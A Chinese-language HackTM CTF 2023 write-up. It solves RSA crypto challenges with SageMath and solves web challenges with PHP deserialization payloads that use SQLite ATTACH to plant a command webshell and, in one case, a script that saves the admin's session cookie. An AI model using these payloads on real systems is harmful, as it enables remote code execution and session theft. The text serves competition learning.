HackTM CTF 2023 WriteUps

發表於 分類於

這次雖然是在 nyahello 裡面參加得到第四名，不過實際上是和 ginoah 和 Jwang 一起參加才有這樣的結果的。

Crypto

d-phi-enc

一般的 RSA，不過 ，而且還給了 和 的 ciphertext。

這題因為 很小所以 中的 其實不會很大，根據測試只會是 而已，所以就能得到 和 的關係式。兩個列出來之後 gcd 就能求出解了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *

e = 3
n = 24476383567792760737445809443492789639532562013922247811020136923589010741644222420227206374197451638950771413340924096340837752043249937740661704552394497914758536695641625358888570907798672682231978378863166006326676708689766394246962358644899609302315269836924417613853084331305979037961661767481870702409724154783024602585993523452019004639755830872907936352210725695418551084182173371461071253191795891364697373409661909944972555863676405650352874457152520233049140800885827642997470620526948414532553390007363221770832301261733085022095468538192372251696747049088035108525038449982810535032819511871880097702167
enc_d = 23851971033205169724442925873736356542293022048328010529601922038597156073052741135967263406916098353904000351147783737673489182435902916159670398843992581022424040234578709904403027939686144718982884200573860698818686908312301218022582288691503272265090891919878763225922888973146019154932207221041956907361037238034826284737842344007626825211682868274941550017877866773242511532247005459314727939294024278155232050689062951137001487973659259356715242237299506824804517181218221923331473121877871094364766799442907255801213557820110837044140390668415470724167526835848871056818034641517677763554906855446709546993374
enc_phi = 3988439673093122433640268099760031932750589560901017694612294237734994528445711289776522094320029720250901589476622749396945875113134575148954745649956408698129211447217738399970996146231987508863215840103938468351716403487636203224224211948248426979344488189039912815110421219060901595845157989550626732212856972549465190609710288441075239289727079931558808667820980978069512061297536414547224423337930529183537834934423347408747058506318052591007082711258005394876388007279867425728777595263973387697391413008399180495885227570437439156801767814674612719688588210328293559385199717899996385433488332567823928840559
enc_flag = 24033688910716813631334059349597835978066437874275978149197947048266360284414281504254842680128144566593025304122689062491362078754654845221441355173479792783568043865858117683452266200159044180325485093879621270026569149364489793568633147270150444227384468763682612472279672856584861388549164193349969030657929104643396225271183660397476206979899360949458826408961911095994102002214251057409490674577323972717947269749817048145947578717519514253771112820567828846282185208033831611286468127988373756949337813132960947907670681901742312384117809682232325292812758263309998505244566881893895088185810009313758025764867
P = Zmod(n)["sd"]
sd = P.gen()
sphi = (3 * sd - 1) / 2
f = sd ^ e - enc_d
g = sphi ^ e - enc_phi
while g:
    f, g = g, f % g
dd = ZZ(-f[0] / f[1])
flag = pow(enc_flag, dd, n)
print(long_to_bytes(flag))
# HackTM{Have you warmed up? If not, I suggest you consider the case where e=65537, although I don't know if it's solvable. Why did I say that? Because I have to make this flag much longer to avoid solving it just by calculating the cubic root of enc_flag.}

kaitenzushi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from math import gcd
from Crypto.Util.number import bytes_to_long, isPrime

from secret import p, q, x1, y1, x2, y2, e, flag

# properties of secret variables
assert isPrime(p) and p.bit_length() == 768
assert isPrime(q) and q.bit_length() == 768
assert isPrime(e) and e.bit_length() == 256
assert gcd((p - 1) * (q - 1), e) == 1
assert x1.bit_length() <= 768 and x2.bit_length() <= 768
assert y1.bit_length() <= 640 and y2.bit_length() <= 640
assert x1 ** 2 + e * y1 ** 2 == p * q
assert x2 ** 2 + e * y2 ** 2 == p * q

# encrypt flag by RSA, with xor
n = p * q
c = pow(bytes_to_long(flag) ^^ x1 ^^ y1 ^^ x2 ^^ y2, e, n)
print(f"{n = }")
print(f"{c = }")

# hints 🍣
F = RealField(1337)
x = vector(F, [x1, x2])
y = vector(F, [y1, y2])
# rotate
theta = F.random_element(min=-pi, max=pi)
R = matrix(F, [[cos(theta), -sin(theta)], [sin(theta), cos(theta)]])
x = R * x
y = R * y
print(f"{x = }")
print(f"{y = }")

首先目標明顯是要先找到 的值。因為它被一個旋轉矩陣給旋轉了，所以肯定存在一個反向的旋轉可以把 兩個給轉回來。

所以可以設 符合 ，然後用 之類的方法把它轉正，然後利用那兩條 的等式一共可以得到三個等式，其中只有三個未知數 而已。所以先 resultant 得到一個只有 的等式對它求根理論上就能得到 。

不過它旋轉的時候是有 precision 的限制，所以我是先在 上計算之後在 RealField(1337 * 100) 下對它求根，可以找到好幾個約 256 bits 的根，那些都是 的 candidates。

之後就一個一個試然後求 ，然後再求回 檢查看看符不符合條件就行了。

最後一部是要從 做分解，我這邊是把 那項消掉得到 Congruence of squares，然後 gcd 就結束了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from Crypto.Util.number import *

n = 990853953648382437503731888872568785013804329239290721076418541795771569507440261620612308640652961121590348037236708702361580700250705591203587939980126323233833431892076634892318387020242015741789265095380967467201291693288654956012435416445991341222221539511583706970342630678909437274145759598920314784293470918464283814408418704426938549136143925649863711450268227592032494660523680280136089617838412326902639568680941504799777445608524961048789627301462833
x = (
    9.93659400123277470926327676478883140697376509010297766512845139881487348637477791719517951397052010880811619509960535668814993293095146708957649613776125686226138447162258666762024346093786649228730054881453449071976210130217897905782845690384638460560301964009359233596889465133986468021963885911072779457835979983964294586954038412718305000570678333513135467257498071686562749882446495426493483289204e230,
    -1.20540611958254673086539287012513674064476659427085664430224592760592531301348857885707154893714440960111029743010026152632150988429192286517249118913535366887447596463819555191858702861383725310592687577510708180057642425944345656558038998574368521689142109798891989865473206201635908814994474491537093810680632691594902962470061189337645818851446622588020765058461348047229165216450857822980873846637e230,
)
y = (
    9.02899744041999015549480362358897037217795303901085937071039171882835297563545959015336648016772002396355451308252077767567617065937943765701645833054147976124287566465577491039263554806622908070370269238064956822205986576949383035741108310668397305286076364909407660314991847716094610949669608550117248147017329449889127749721988228613503029640191269319151291514601769696635252288607881829734506023770e191,
    2.82245306887391321716872765000993510002376761684498801971981175059452895101888694909625866715259620501905532121092041448909218372087306882364769769589919830746245167403566884491547911250261820661981772195356239940907493773024918284094309809964348965190219508641693641202225028173892050377939993484981988687903270349415531065381420872722271855270893103191849754016799925873189392548972340802542077635974e192,
)

rx1, rx2 = map(QQ, x)
ry1, ry2 = map(QQ, y)
P = QQ["c,s,e"]
c, s, e = P.gens()
xx1 = rx1 * c - rx2 * s
xx2 = rx1 * s + rx2 * c
yy1 = ry1 * c - ry2 * s
yy2 = ry1 * s + ry2 * c
eq1 = xx1 ^ 2 + e * yy1 ^ 2 - n
eq2 = xx2 ^ 2 + e * yy2 ^ 2 - n
eq3 = c ^ 2 + s ^ 2 - 1

f = eq1.sylvester_matrix(eq3, c).det()
g = eq2.sylvester_matrix(eq3, c).det()
h = f.sylvester_matrix(g, s).det().univariate_polynomial()
rs = h.roots(ring=RealField(1337 * 100), multiplicities=False)
print(rs)
e_cand = [round(r) for r in rs]


# e_cand = [87862026872437330910497185030697130217338158176670400983287915720335274355400,
#  87862026872437330910497185030697130217338158176670400983287915720335274355400,
#  111578009802636409437123757591617048189760145423552421418627338749835916561801,
#  111578009802636409437123757591617048189760145423552421418627338749835916561801,
#  136040713794094450815869383226050188669842227306130890897967195238883374113103,
#  136040713794094450815869383226050188669842227306130890897967195238883374113103,
#  200903536402584876156876716733848460295431647412230359371202416138893151947346,
#  200903536402584876156876716733848460295431647412230359371202416138893151947346]


def try_e(e):
    P = QQ["c,s"]
    c, s = P.gens()
    xx1 = rx1 * c - rx2 * s
    xx2 = rx1 * s + rx2 * c
    yy1 = ry1 * c - ry2 * s
    yy2 = ry1 * s + ry2 * c
    eq1 = xx1 ^ 2 + e * yy1 ^ 2 - n
    eq2 = xx2 ^ 2 + e * yy2 ^ 2 - n
    eq3 = c ^ 2 + s ^ 2 - 1
    f = eq1.sylvester_matrix(eq2, s).det().univariate_polynomial()
    ccc = f.roots(ring=RealField(1337), multiplicities=False)
    for c in ccc:
        s = sqrt(1 - c ^ 2)
        xx1 = round(rx1 * c - rx2 * s)
        xx2 = round(rx1 * s + rx2 * c)
        yy1 = round(ry1 * c - ry2 * s)
        yy2 = round(ry1 * s + ry2 * c)
        if (xx1 ^ 2 + e * yy1 ^ 2 == n) and (xx2 ^ 2 + e * yy2 ^ 2 == n):
            return xx1, xx2, yy1, yy2


for e in e_cand:
    r = try_e(e)
    if r:
        x1, x2, y1, y2 = map(abs, r)
        print("found")
        break

assert x1.bit_length() <= 768 and x2.bit_length() <= 768
assert y1.bit_length() <= 640 and y2.bit_length() <= 640
assert x1**2 + e * y1**2 == n
assert x2**2 + e * y2**2 == n

# eliminate e to get congruence of squares
# (x1*y2)^2 = (x2*y1)^2 (mod n)

p = gcd(x1 * y2 - x2 * y1, n)
q = n // p
assert p * q == n
d = inverse_mod(e, (p - 1) * (q - 1))
c = 312168688094168684887530746663711142224819184527420449851136749248641895825646649162310024737395663075921549510262779965673286770730468773215063305158197748549937395602308558217528064655976647148323981103647078862713773074121667862786737690376212246588956833193632937835958166526006128435536115531865213269197137648990987207140262543956087199861542889002996727146832659889656384027201202873352819689303456895088190857667281342371263570535523695457095802010885279
m = pow(c, d, n)
flag = m ^^ x1 ^^ y1 ^^ x2 ^^ y2
print(long_to_bytes(flag))
# HackTM{r07473_pr353rv35_50m37h1n6}

至於最後那個部分按照別人的說法，可以解釋為從 到 的 homomorphism。

最後是官解 writeup，和我的作法差蠻多的 XD。

Web

Blog / Blog Revenge

兩題題目一樣，一個 flag path 已知只要 LFI，一個要 RCE。因為這題是自己寫 php unserialization 的題目所以就跳過 LFI 直接 RCE 了。

這題能用的 gadgets 沒有直接 RCE 的地方，不過裡面有辦法控制 sqlite 的執行指令，所以用 sql 寫 webshell 就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

class Query {
    public $query_string = "";
    public $args;

    public function __construct($query_string, $args) {
        $this->query_string = $query_string;
        $this->args = $args;
    }

    // for debugging purposes
    public function __toString() {
        return $this->query_string;
    }
}

class Conn {
    public $queries;

    public function __construct()
    {
        $this->queries = [];
        $this->queries[] = new Query("ATTACH DATABASE '/var/www/html/peko.php' AS lol;", []);
        $this->queries[] = new Query("CREATE TABLE lol.pwn (dataz text);", []);
        $this->queries[] = new Query('INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET[\'cmd\']); ?>");--', []);
    }

}

class Post {
    public $title;
    public $content;
    public $comments;

    public function __construct($title, $content) {
        $this->title = $title;
        $this->content = $content;
    }
}

class User {
    public $profile;

    public function __construct($profile)
    {
        $this->profile = $profile;        
    }
}

echo base64_encode(serialize(new User(new Post(new User(new Conn()), 1, 1))));

secrets

這題顯然是個 xsleaks 題目，主要是 note 搜尋功能在成功和失敗時會 redirect 到不同的 domain 去 (secrets.wtl.pw, results.wtl.pw)，所以我有用 CSP violation 想辦法去弄，但是後來遇到的問題是 admin bot timeout 太短 (5s)，不知道怎麼處理。

後來 dig 一下發現這兩個 domain 的 ip 和 Blog / Blog Revenge 是同一台 (secrets.wtl.pw:30001 可以存取到)，而它為了 share cookie 所以 cookie domain 是 .wtl.pw，所以只要上個 webshell 把 session cookie 紀錄下來就能得到 admin cookie，然後讀 flag 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

class Query {
    public $query_string = "";
    public $args;

    public function __construct($query_string, $args) {
        $this->query_string = $query_string;
        $this->args = $args;
    }

    // for debugging purposes
    public function __toString() {
        return $this->query_string;
    }
}

class Conn {
    public $queries;

    public function __construct()
    {
        $this->queries = [];
        $this->queries[] = new Query("ATTACH DATABASE '/var/www/html/peko.php' AS lol;", []);
        $this->queries[] = new Query("CREATE TABLE lol.pwn (dataz text);", []);
        $this->queries[] = new Query('INSERT INTO lol.pwn (dataz) VALUES ("<?php file_put_contents(\'/var/www/html/peko.txt\', $_COOKIE[\'session\']); ?>");--', []);
    }

}

class Post {
    public $title;
    public $content;
    public $comments;

    public function __construct($title, $content) {
        $this->title = $title;
        $this->content = $content;
    }
}

class User {
    public $profile;

    public function __construct($profile)
    {
        $this->profile = $profile;        
    }
}

echo base64_encode(serialize(new User(new Post(new User(new Conn()), 1, 1))));
// curl 'http://secrets.wtl.pw:30001' --cookie "user=$(php gen.php)"

其他正經的 xsleaks 解法: